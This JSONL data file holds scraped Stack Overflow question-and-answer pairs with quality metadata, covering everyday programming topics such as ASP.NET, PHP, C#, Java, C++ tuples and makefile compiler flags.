{"id": "hf_7cfa1be3d556", "question": "<p>This is somewhat similar to <a href=\"https://stackoverflow.com/questions/25653/hide-a-column-in-aspnet-dynamic-data\">this question</a>.</p>\n\n<p>However, rather than wanting to hide a column all together, I am just looking to hide the column on the List.aspx page.</p>\n\n<p>My specific example is that fields that are long (or at least nvarchar(MAX)) automatically hide from the List.aspx page as is but are still visible on the Edit.aspx page.</p>\n\n<p>I would like to replicate this behaviour for other (shorter) columns.</p>\n\n<p>Is this possible?</p>\n", "question_body": "", "answer": "You can create a custom page for the particular table you want to change.  There's an example\nhere\n.\nWithin your custom page, you can then set\n```\nAutoGenerateColumns=\"false\"\n```\nwithin the\n```\nasp:GridView\n```\ncontrol, and then define exactly the columns you want, like this:\n```\n```\n<Columns>\n    ...\n    <asp:DynamicField DataField=\"Product\" HeaderText=\"Product\" />\n    <asp:DynamicField DataField=\"Colour\" HeaderText=\"Colour\" />\n</Columns>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.952250"}
{"id": "hf_9600120c75e2", "question": "<p>I can't seem to find much documentation on X-Sendfile or example code for PHP (there is some rails code).</p>\n\n<p>Anyone used it before and would mind giving a quick snippet of code and a brief description?</p>\n", "question_body": "", "answer": "X-Sendfile is an HTTP header, so you want something like this:\n```\n```\nheader(\"X-Sendfile: $filename\");\n```\n```\nYour web server picks it up if correctly configured.  Here's some more details:\nhttp://www.jasny.net/articles/how-i-php-x-sendfile/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.988140"}
{"id": "hf_3278b710f8e7", "question": "<p>I want to use javascript to insert some elements into the current page.\nSuch as this is the original document:\n&lt;p&gt;Hello world!&lt;/p&gt;</p>\n\n<p>Now I want to insert an element in to the text so that it will become:</p>\n\n<p>&lt;p&gt;Hello &lt;span id=span1&gt;new&lt;/span&gt; world!&lt;/p&gt;</p>\n\n<p>I need the span tag because I want to handle it later.Show or hide.\nBut now problem comes out, if the original page has already defined a strange CSS style on all &lt;span&gt; tags, the \"new\" I just inserted will not appear to be the same as \"Hello\" and \"world\". How can I avoid this? I want the \"new\" be exactly the same as the \"Hello\" and \"world\".</p>\n", "question_body": "", "answer": "Include the class definition that's defined in CSS on your JavaScript version of the\n```\n<span>\n```\ntag as well.\n```\n```\n<span class=\"class_defined_in_css\">\n```\n```\n(where this\n```\n<span>\n```\ntag would be part of your JavaScript code.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.023547"}
{"id": "hf_c9834591381c", "question": "<p>Application frameworks such as DotNetNuke, Eclipse, Websphere and so forth are available today which offer customizable frameworks that can be used as dashboard applications.  Do you use these or do you and your peers keep writing amazing, modular, maintainable dashboard frameworks which you support yourselves?</p>\n\n<p>Are there any good web based, OS independent frameworks out there that you suggest using to build your own enterprise class infrastructure around?</p>\n", "question_body": "", "answer": "The one I use is Oracle Application Development Framework. It's a complete, fully supported framework, and Oracle use it themselves to build their own enterprise applications. It comes with a lot of JSF components that are very easy to bind to the underlying data objects.\nI'd recommend this  for all Java applications that need database data.\nYou find a discussion of it on the Oracle Wiki:\nhttp://wiki.oracle.com/page/ADF+Methodology+-+Work+in+Progressent", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.059965"}
{"id": "hf_ebeb97b1c5ee", "question": "<p>How can I get all implementations of an interface through reflection in C#?</p>\n", "question_body": "", "answer": "Do you mean all interfaces a Type implements?\nLike this:\n```\n```\nObjX foo = new ObjX();\nType tFoo = foo.GetType();\nType[] tFooInterfaces = tFoo.GetInterfaces();\nforeach(Type tInterface in tFooInterfaces)\n{\n  // do something with it\n}\n```\n```\nHope tha helpts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.107980"}
{"id": "hf_1bd6dfac8812", "question": "<p>How do I preview a url using ajax? I have seen this done with search engine plug ins and would like to learn how to do this. Specifically, I would like to be able to mouse over a link and see the preview of the webpage using ajax.</p>\n", "question_body": "", "answer": "There's the\neasy\nsolution, the\nhard\nsolution, and the\nuse-a-library\nsolution.\nuse-a-library\n: I prefer always doing the use-a-library solution unless you have a darn good reason otherwise.  One possible site which wraps the \"hard solution\" as a service for you:\nhttp://thumbnails.iwebtool.com/demo/\neasy\n: The easy solution is to just load the target webpage as a downscaled AJAXy window.  You can use many of the Lightbox-class plugins for this task, particularly the ones which allow you to target arbitrary HTTP content for the Lightbox window.\nGreyBox\nis my favorite of those which I have used before.\nLightbox Gone Wild\nis also nice.\nhard\n: Then there is the hard solution: you need to render the web page server side, cache the rendering as an image, and then serve up that image using Lightbox-esque Javascript (which is trivial next to the other requirements).  How you would go about doing this is outside the scope of this box.  Why would you do it this way?  The preview generates MUCH faster for the client, and it hermetically seals the client's session away from things which might bust it in the target website -- poorly behaving Javascript and/or malware can cause Really Bad Things when you open them, even in an AJAXy window-within-a-window.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.227314"}
{"id": "hf_39eeecd7a084", "question": "<p>I have video durations stored in HH:MM:SS format. I'd like to display it as HH hours, MM minutes, SS seconds. It shouldn't display hours if it's less than 1.</p>\n\n<p>What would be the best approach?</p>\n", "question_body": "", "answer": "Something like this?\n```\n```\n$vals = explode(':', $duration);\n\nif ( $vals[0] == 0 )\n   $result = $vals[1] . ' minutes, ' . $vals[2] . ' seconds';\nelse\n   $result = $vals[0] . 'hours, ' . $vals[1] . ' minutes, ' . $vals[2] . ' seconds';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.255494"}
{"id": "hf_15a9686cabba", "question": "<p>In C++0x I would like to write a function like this:</p>\n\n<pre><code>template &lt;typename... Types&gt;\nvoid fun(typename std::tuple&lt;Types...&gt; my_tuple) {\n    //Put things into the tuple\n}\n</code></pre>\n\n<p>I first tried to use a for loop on <code>int i</code> and then do:</p>\n\n<pre><code>get&lt;i&gt;(my_tuple);\n</code></pre>\n\n<p>And then store some value in the result. However, <code>get</code> only works on <code>constexpr</code>.</p>\n\n<p>If I could get the variables out of the <code>tuple</code> and pass them to a variadic templated function I could recurse through the arguments very easily, but I have no idea how to get the variables out of the tuple without <code>get</code>. Any ideas on how to do that? Or does anyone have another way of modifying this <code>tuple</code>?</p>\n", "question_body": "", "answer": "Since the \"i\" in\n```\n```\nget<i>(tup)\n```\n```\nneeds to be a compile-time constant, template instantiation is used to \"iterate\" (actually recurse) through the values.  Boost tuples have the \"length\" and \"element\" meta-functions that can be helpful here -- I assume C++0x has these too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.327500"}
{"id": "hf_2b1c98af8f63", "question": "<p>Is there a quick way to find every match of a regular expression in Ruby? I've looked through the Regex object in the Ruby STL and searched on Google to no avail.</p>\n", "question_body": "", "answer": "Using\n```\nscan\n```\nshould do the trick:\n```\n```\nstring.scan(/regex/)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.363241"}
{"id": "hf_eea659816c93", "question": "<p>I am having trouble deciding on whether to classify my application as 'real time' or 'near real time', or perhaps even something else.</p>\n\n<p>The software receives data immediately as it is generated from the source, then based on certain rules, raises an alert when certain conditions are met. It takes the approach of checking the last 30 seconds of data every 30 seconds to see whether the criteria for a rule has been met.</p>\n\n<p>Is that real time? What are the thresholds for the definitions of real time vs. near real-time?</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>I think this is a duplicate of <a href=\"https://stackoverflow.com/questions/51135/define-realtime-on-the-web-for-business\">Define realtime on the web for business</a>.</p>\n\n<p>Please decide if the above thread is insufficient to answer your question.</p>\n", "question_body": "", "answer": "I am in agreement with John, in your scenario you are looking at least 30 seconds of delay, I would say that it is nearly real time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.399515"}
{"id": "hf_c87f2fceb279", "question": "<p>Code I have:</p>\n\n<pre><code>cell_val = CStr(Nz(fld.value, \"\"))\nDim iter As Long\nFor iter = 0 To Len(cell_val) - 1 Step 1\n    If Asc(Mid(cell_val, iter, 1)) &gt; 127 Then\n        addlog \"Export contains ascii character &gt; 127\"\n    End If\nNext iter\n</code></pre>\n\n<p>This code doesn't work. Anyone know how to do this? I've simply got no idea with VB or VBA.</p>\n", "question_body": "", "answer": "I believe your problem is that in VBA string indexes start at 1 and not at 0. Try the following:\n```\n```\nFor iter = 1 To Len(cell_val) \n    If Asc(Mid(cell_val, iter, 1)) > 127 Then\n        addlog \"Export contains ascii character > 127\"\n    End If\nNext\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.447663"}
{"id": "hf_e850ae6fc0d6", "question": "<p>What are futures? It's something to do with lazy evaluation.</p>\n", "question_body": "", "answer": "A Future encapsulates a deferred calculation, and is commonly used to shoehorn lazy evaluation into a non-lazy language. The first time a future is evaluated, the code required to evaluate it is run, and the future is replaced with the result.\nSince the future is replaced, subsequent evaluations do not execute the code again, and simply yield the result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.471357"}
{"id": "hf_a75058e94849", "question": "<p>I need to concatenate two <code>String</code> arrays in Java.</p>\n<pre><code>void f(String[] first, String[] second) {\n    String[] both = ???\n}\n</code></pre>\n<p>Which is the easiest way to do this?</p>\n", "question_body": "", "answer": "Here's a simple method that will concatenate two arrays and return the result:\n```\n```\npublic <T> T[] concatenate(T[] a, T[] b) {\n    int aLen = a.length;\n    int bLen = b.length;\n\n    @SuppressWarnings(\"unchecked\")\n    T[] c = (T[]) Array.newInstance(a.getClass().getComponentType(), aLen + bLen);\n    System.arraycopy(a, 0, c, 0, aLen);\n    System.arraycopy(b, 0, c, aLen, bLen);\n\n    return c;\n}\n```\n```\nNote that it will not work with primitive data types, only with object types.\nThe following slightly more complicated version works with both object and primitive arrays. It does this by using\n```\nT\n```\ninstead of\n```\nT[]\n```\nas the argument type.\nIt also makes it possible to concatenate arrays of two different types by picking the most general type as the component type of the result.\n```\n```\npublic static <T> T concatenate(T a, T b) {\n    if (!a.getClass().isArray() || !b.getClass().isArray()) {\n        throw new IllegalArgumentException();\n    }\n\n    Class<?> resCompType;\n    Class<?> aCompType = a.getClass().getComponentType();\n    Class<?> bCompType = b.getClass().getComponentType();\n\n    if (aCompType.isAssignableFrom(bCompType)) {\n        resCompType = aCompType;\n    } else if (bCompType.isAssignableFrom(aCompType)) {\n        resCompType = bCompType;\n    } else {\n        throw new IllegalArgumentException();\n    }\n\n    int aLen = Array.getLength(a);\n    int bLen = Array.getLength(b);\n\n    @SuppressWarnings(\"unchecked\")\n    T result = (T) Array.newInstance(resCompType, aLen + bLen);\n    System.arraycopy(a, 0, result, 0, aLen);\n    System.arraycopy(b, 0, result, aLen, bLen);        \n\n    return result;\n}\n```\n```\nHere is an example:\n```\n```\nAssert.assertArrayEquals(new int[] { 1, 2, 3 }, concatenate(new int[] { 1, 2 }, new int[] { 3 }));\nAssert.assertArrayEquals(new Number[] { 1, 2, 3f }, concatenate(new Integer[] { 1, 2 }, new Number[] { 3f }));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.523274"}
{"id": "hf_09ef22bb1e6a", "question": "<p>I need to know how to turn on Code Coverage when running TFS builds on a solution with a .testrunconfig file.  </p>\n\n<p>There is an option in the testrunconfig file that is for code coverage, but when running a TFS build there is no code coverage results.</p>\n\n<p>I am running my tests using the *Tests.dll mask and NOT using Test Lists (.vsmdi).</p>\n", "question_body": "", "answer": "How are you running the tests?  Are you using a .vsmdi file or just specifying that you run all tests in *Tests.dll assemblies?\nIf it is the latter and you are using TFS 2008, then you need to add the following to the and of the first PropertyGroup in your TFSBuild.proj file for the build.\n```\n```\n<RunConfigFile>$(SolutionRoot)\\TestRunConfig.testrunconfig</RunConfigFile>\n```\n```\nThis points the build at your .testrunconfig so it can pick up the instructions to run code coverage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.547828"}
{"id": "hf_2068d72713fa", "question": "<p>The title is pretty much self explanatory. Given two dates what is the best way of finding the number of week days using PHP? Week days being Monday to Friday.</p>\n\n<p>For instance, how would I find out that there are 10 week days in between <code>31/08/2008</code> and <code>13/09/2008</code>?</p>\n", "question_body": "", "answer": "One way would be to convert the dates to unix timestamps using strtotime(...), subtracting the results and div'ing with 86400 (24*60*60):\n```\n```\n$dif_in_seconds = abs(strtotime($a) - strtotime($b));\n$daysbetween = $dif_in_seconds / 86400;\n```\n```\nETA: Oh.. You meant weekdays as in Mon-Fri.. Didn't see that at first..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.611333"}
{"id": "hf_a1bf85770182", "question": "<p>Please consider both commercial and free debuggers. Would like to see also the pros and cons for each.</p>\n", "question_body": "", "answer": "I haven't used it myself, so I can't comment on the pros/cons , but one commercial alternative is\nTotalView\n.\nThere is also\nDDD\nthat gives you a frontend to GDB, but i guess you have already tried/used that?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.663080"}
{"id": "hf_83a8c4c6558e", "question": "<pre><code>public class Test {\n    public static void main(String[] args) {\n\n    }\n}\n\nclass Outer {\n    void aMethod() {\n        class MethodLocalInner {\n            void bMethod() {\n                System.out.println(\"Inside method-local bMethod\");\n            }\n        }\n    }\n}\n</code></pre>\n\n<p>Can someone tell me how to print the message from <code>bMethod</code>?</p>\n", "question_body": "", "answer": "You can only instantiate\n```\nMethodLocalInner\n```\nwithin\n```\naMethod\n```\n. So do\n```\n```\nvoid aMethod() {\n\n    class MethodLocalInner {\n\n            void bMethod() {\n\n                    System.out.println(\"Inside method-local bMethod\");\n            }\n    }\n\n    MethodLocalInner foo = new MethodLocalInner(); // Default Constructor\n    foo.bMethod();\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.699010"}
{"id": "hf_5d69febd9064", "question": "<p>While refactoring some old code I have stripped out a number of public methods that should actually of been statics as they a) don't operate on any member data or call any other member functions and b) because they might prove useful elsewhere.</p>\n\n<p>This led me to think about the best way to group 'helper' functions together.  The Java/C# way would be to use a class of static functions with a private constructor, e.g.:</p>\n\n<pre><code>class Helper  \n{  \nprivate:  \n  Helper() { }\npublic:  \n  static int HelperFunc1();  \n  static int HelperFunc2();  \n};\n</code></pre>\n\n<p>However, being C++ you could also use a namespace:</p>\n\n<pre><code>namespace Helper  \n{  \n  int HelperFunc1();  \n  int HelperFunc2();  \n}\n</code></pre>\n\n<p>In most cases I think I would prefer the namespace approach but I wanted to know what the pros and cons of each approach are.  If used the class approach for example, would there be any overheads?</p>\n", "question_body": "", "answer": "The main advantage to using a namespace is that you can reopen it and add more stuff later, you can't do that with a class.  This makes this approach better for loosely coupled helpers (for example you could have a Helpers namespace for your entire library, much like all of STL is in ::std)\nThe main advantage of a class is that you can nest it inside the class using it, you can't nest a namespace in a class.  This makes this approach better for tightly coupled helpers.\nYou won't have any extra overhead having them in a class vs a namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.772261"}
{"id": "hf_e55aaa861e3f", "question": "<p>Events are synchronous in C#. I have this application where my main form starts a thread with a loop in it that listens to a stream. When something comes along on the stream an event is fired from the loop to the main form. </p>\n\n<p>If the main form is slow or shows a messagebox or something the loop will be suspended. What is the best way around this? By using a callback and invoke on the main form?</p>\n", "question_body": "", "answer": "Since you're using a form, the easier way is to use the\nBackgroundWorker\ncomponent.\nThe BackgroundWorker class allows you\n  to run an operation on a separate,\n  dedicated thread. Time-consuming\n  operations like downloads and database\n  transactions can cause your user\n  interface (UI) to seem as though it\n  has stopped responding while they are\n  running. When you want a responsive UI\n  and you are faced with long delays\n  associated with such operations, the\n  BackgroundWorker class provides a\n  convenient solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.820519"}
{"id": "hf_5dde4a607a97", "question": "<p>What is the difference between <code>==</code> and <code>===</code>?</p>\n<ul>\n<li>How exactly does the loosely <code>==</code> comparison work?</li>\n<li>How exactly does the strict <code>===</code> comparison work?</li>\n</ul>\n<p>What would be some useful examples?</p>\n", "question_body": "", "answer": "Difference between\n```\n==\n```\nand\n```\n===\n```\nThe difference between the loosely\n```\n==\n```\nequal operator and the strict\n```\n===\n```\nidentical operator is exactly explained in the\nmanual\n:\nComparison Operators\nExample\nName\nResult\n$a ==  $b\nEqual\nTRUE if $a is equal to $b after type juggling.\n$a === $b\nIdentical\nTRUE if $a is equal to $b, and they are of the same type.\nLoosely\n```\n==\n```\nequal comparison\nIf you are using the\n```\n==\n```\noperator, or any other comparison operator which uses loosely comparison such as\n```\n!=\n```\n,\n```\n<>\n```\nor\n```\n==\n```\n, you always have to look at the\ncontext\nto see what, where and why something gets converted to understand what is going on.\nConverting rules\nConverting to boolean\nConverting to integer\nConverting to float\nConverting to string\nConverting to array\nConverting to object\nConverting to resource\nConverting to NULL\nType comparison table\nAs reference and example you can see the comparison table in the\nmanual\n:\nTRUE\nFALSE\n1\n0\n-1\n\"1\"\n\"0\"\n\"-1\"\nNULL\narray()\n\"php\"\n\"\"\nTRUE\nTRUE\nFALSE\nTRUE\nFALSE\nTRUE\nTRUE\nFALSE\nTRUE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nTRUE\nFALSE\nFALSE\nTRUE\nFALSE\nTRUE\nTRUE\nFALSE\nTRUE\n1\nTRUE\nFALSE\nTRUE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\n0\nFALSE\nTRUE\nFALSE\nTRUE\nFALSE\nFALSE\nTRUE\nFALSE\nTRUE\nFALSE\nTRUE\nTRUE\n-1\nTRUE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\n\"1\"\nTRUE\nFALSE\nTRUE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\n\"0\"\nFALSE\nTRUE\nFALSE\nTRUE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\n\"-1\"\nTRUE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nNULL\nFALSE\nTRUE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nTRUE\nFALSE\nTRUE\narray()\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nTRUE\nFALSE\nFALSE\n\"php\"\nTRUE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\n\"\"\nFALSE\nTRUE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nTRUE\nStrict\n```\n===\n```\nidentical comparison\nIf you are using the\n```\n===\n```\noperator, or any other comparison operator which uses strict comparison such as\n```\n!==\n```\nor\n```\n===\n```\n, then you can always be sure that the types won't\nmagically\nchange, because there will be no converting going on. So with strict comparison the type and value have to be the same, not only the value.\nType comparison table\nAs reference and example you can see the comparison table in the\nmanual\n:\nStrict comparisons with\n```\n===\n```\nTRUE\nFALSE\n1\n0\n-1\n\"1\"\n\"0\"\n\"-1\"\nNULL\narray()\n\"php\"\n\"\"\nTRUE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\n1\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\n0\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\n-1\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\n\"1\"\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\n\"0\"\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\n\"-1\"\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\nFALSE\nNULL\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\nFALSE\narray()\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\n\"php\"\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nFALSE\n\"\"\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nFALSE\nTRUE\nEditor's note\n- This was properly quoted previously, but is more readable as a markdown table. This is not plagiarism", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.844641"}
{"id": "hf_5afa726346d1", "question": "<p>How do I register a custom protocol with Windows so that when clicking a link in an email or on a web page my application is opened and the parameters from the URL are passed to it?</p>\n", "question_body": "", "answer": "The MSDN link is nice, but the security information there isn't complete. The handler registration should contain \"%1\", not %1. This is a security measure, because some URL sources incorrectly decode %20 before invoking your custom protocol handler.\nPS. You'll get the entire URL, not just the URL parameters. But the URL might be subject to some mistreatment, besides the already mentioned %20->space conversion. It helps to be conservative in your URL syntax design. Don't throw in random // or you'll get into the mess that file:// is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.877281"}
{"id": "hf_b5d8c7eaccad", "question": "<p>I may be wrong, but if you are working with SmtpClient.SendAsync in ASP.NET \n2.0 and it throws an exception, the thread processing the request waits \nindefinitely for the operation to complete.</p>\n\n<p>To reproduce this problem, simply use an invalid SMTP address for the host \nthat could not be resolved when sending an email.</p>\n\n<p>Note that you should set Page.Async = true to use SendAsync.</p>\n\n<p>If Page.Async is set to false and Send throws an exception the thread \ndoes not block, and the page is processed correctly.</p>\n\n<p>TIA.</p>\n", "question_body": "", "answer": "Note that you should set Page.Async = true to use SendAsync.\nPlease explain the rationale behind this. Misunderstanding what Page.Async does may be the cause of your problems.\nSorry, I was unable to get an example working that reproduced the problem.\nSee\nhttp://msdn.microsoft.com/en-us/magazine/cc163725.aspx\n(WICKED CODE: Asynchronous Pages in ASP.NET 2.0)\nEDIT:\nLooking at your code example, I can see that you're not using\n```\nRegisterAsyncTask()\n```\nand the\n```\nPageAsyncTask\n```\nclass. I think you must do this when executing asynchronous tasks on a Page where\n```\n@Async\n```\nis set to true. The example from MSDN Magazine looks like this:\n```\n```\nprotected void Page_Load(object sender, EventArgs e)\n{\n    PageAsyncTask task = new PageAsyncTask(\n        new BeginEventHandler(BeginAsyncOperation),\n        new EndEventHandler(EndAsyncOperation),\n        new EndEventHandler(TimeoutAsyncOperation),\n        null\n        );\n    RegisterAsyncTask(task);\n}\n```\n```\nInside\n```\nBeginAsyncOperation\n```\n, then, should you send a mail asynchronously.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.901996"}
{"id": "hf_a9ea5067ce03", "question": "<p>Does anyone know how to get/set the call divert settings in codes running on Windows mobile 5/6? I am new to windows mobile development and wonder if there is anyway to do it using C# and .NET CF?</p>\n", "question_body": "", "answer": "I assume you mean call forwarding?  In general terms, the\nTelephony API (TAPI)\nis used for programmatically controlling the phone interface.  Call forwarding is specifically handled by\nTSPI_lineForward\n.\nMicrosoft does not offer any built-in or SDK tools for managed developers to use TAPI, and the structures TAPI uses are cumbersome and difficult to P/Invoke.  There are a some\n3rd-party libraries\nthat do provide some level of TAPI interaction that you might also investigate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.926587"}
{"id": "hf_a3c270625ab5", "question": "<p>In the process of learning <a href=\"https://en.wikipedia.org/wiki/TinyOS\" rel=\"nofollow noreferrer\">TinyOS</a> I have discovered that I am totally clueless about makefiles.</p>\n<p>There are many optional compile time features that can be used by way of declaring preprocessor variables.</p>\n<p>To use them you have to do things like:</p>\n<p><code>CFLAGS=&quot;-DPACKET_LINK&quot;</code>        this enables a certain feature.</p>\n<p>and</p>\n<p><code>CFLAGS=&quot;-DPACKET_LINK&quot; &quot;-DLOW_POWER&quot;</code> enables two features.</p>\n<p>Can someone dissect these lines for me and tell me whats going on? Not in terms of TinyOS, but in terms of makefiles!</p>\n", "question_body": "", "answer": "Somewhere in the makefile the CFLAG will be used in compilation line like this:\n```\n$(CC) $(CFLAGS) $(C_INCLUDES) $<\n```\nand eventually in the execution will be translated to :\n```\ngcc -DPACKET_LINK -DLOW_POWER -c filename.c -o filename.o\n```\nThis define will be passed to the source code as it was define in the header file", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.961997"}
